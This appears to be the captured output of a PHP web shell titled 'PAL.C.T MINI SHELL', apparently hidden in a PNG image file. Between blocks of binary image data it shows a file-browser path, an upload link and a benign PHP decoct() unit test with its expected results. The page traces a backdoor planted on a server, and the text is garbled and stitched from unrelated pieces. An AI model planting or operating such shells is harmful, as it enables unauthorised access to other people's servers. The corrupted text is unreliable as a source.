php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/php-7.0.1/ext/standard/tests/math/
upload
files >> //opt/php-7.0.1/ext/standard/tests/math/decoct_basic.phpt

--TEST--
Test decoct() - basic function test decoct()
--FILE--
<?php
$values = array(10,
				3950.5,
				3.9505e3,
				03,
				0x5F,	
				"10",
				"3950.5",
				"3.9505e3",
				"039",
				"0x5F",
				true,
				false,
				null, 
				);	

for ($i = 0; $i < count($values); $i++) {
	$res = decoct($values[$i]);
	var_dump($res);
}
?>
--EXPECTF--
string(2) "12"
string(4) "7556"
string(4) "7556"
string(1) "3"
string(3) "137"
string(2) "12"
string(4) "7556"
string(1) "3"
string(2) "47"
string(1) "0"
string(1) "1"
string(1) "0"
string(1) "0"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`